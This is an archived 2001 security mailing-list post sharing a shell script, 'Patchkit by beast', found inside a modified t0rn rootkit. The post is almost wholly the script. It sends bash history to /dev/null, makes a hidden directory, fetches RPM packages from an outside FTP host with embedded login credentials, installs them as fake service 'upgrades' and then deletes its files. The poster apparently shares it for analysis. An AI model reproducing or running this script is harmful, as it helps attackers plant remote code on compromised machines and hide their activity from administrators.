Rootkit t0rn modified ?

From: GiulioMaria Fontana (fontanaat_private)
Date: Tue Jun 05 2001 - 05:03:27 PDT

Next message: Talley, Brooks: "RE: Upload of "pipes.scr" attempted to NetBus "honeypot""

Previous message: Alvin Oga: "rootkit entertainment"
Next in thread: Dietrich Heusel: "virus- and trojan-portlist"
Reply: Dietrich Heusel: "virus- and trojan-portlist"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

A patch found in the source....

#!/bin/sh
inf="Patchkit by beast"

BLK=''
RED=''
GRN=''
YEL=''
BLU=''
MAG=''
CYN=''
WHI=''
DRED=''
DGRN=''
DYEL=''
DBLU=''
DMAG=''
DCYN=''
DWHI=''
RES=''
 
echo "${GRN}Patching Sequence Started..."
echo "${YEL}Fixing history file in /bin"
echo "${DRED}RE-Initiating bash_history..."
echo "${GRN}Done, linked to /dev/null ;)"
rm -rf /bin/.bash_history
ln -s /dev/null /bin/.bash_history
echo "${DRED}Creating temp path..."
mkdir -p /usr/src/.puta/rpm
echo "${DWHI}*${GRN}-Connected to dumpsite-${DWHI}*"
echo "${DWHI}*************************"
cd /usr/src/.puta/rpm
echo "${DRED}Upgrading WU-FTP, Please hold"
echo "${YEL}Fetching RPM file...${CYN}"
ncftpget -u natas187 -p anpwhsgh ftp://ftp.fortunecity.com/help/wu.rpm
echo "${DRED}Executing WU upgrade...${GRN}"
rpm -Uv wu.rpm
echo "${DRED}Upgrading Statd, Please hold"
echo "${YEL}Fetching RPM file...${CYN}"
ncftpget -u natas187 -p anpwhsgh ftp://ftp.fortunecity.com/help/stat.rpm
echo "${DRED}Executing Statd upgrade...${GRN}"
rpm -Uv stat.rpm
echo "${DRED}Upgrading Vixie, Please hold"
echo "${YEL}Fetching RPM file...${CYN}"
ncftpget -u natas187 -p anpwhsgh ftp://ftp.fortunecity.com/help/vixie.rpm
echo "${DRED}Executing Vixie upgrade...${GRN}"
rpm -Uv vixie.rpm
echo "${DRED}Upgrading BIND, Please hold"
echo "${YEL}Fetching RPM file...${CYN}"
ncftpget -u natas187 -p anpwhsgh ftp://ftp.fortunecity.com/help/bind.rpm
echo "${DRED}Executing BIND upgrade...${GRN}"
rpm -Uv bind.rpm
echo "${DRED}Upgrading Imapd, Please hold"
echo "${YEL}Fetching RPM file...${CYN}"
ncftpget -u natas187 -p anpwhsgh ftp://ftp.fortunecity.com/help/imap.rpm
echo "${DRED}Executing Imapd upgrade...${GRN}"
rpm -Uv imap.rpm
echo "${DRED}Upgrading NC, Please hold"
echo "${YEL}Fetching RPM file...${CYN}"
ncftpget -u natas187 -p anpwhsgh ftp://ftp.fortunecity.com/help/nc.rpm
echo "${DRED}Executing NC upgrade...${GRN}"
rpm -Uv nc.rpm
echo "${YEL}Cleaning up old files..."
rm -rf /usr/src/.puta/patch
rm -rf /usr/src/.puta/rpm
echo "${GRN}Patching done${RES}"

Next message: Talley, Brooks: "RE: Upload of "pipes.scr" attempted to NetBus "honeypot""
Previous message: Alvin Oga: "rootkit entertainment"
Next in thread: Dietrich Heusel: "virus- and trojan-portlist"
Reply: Dietrich Heusel: "virus- and trojan-portlist"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Tue Jun 05 2001 - 10:19:28 PDT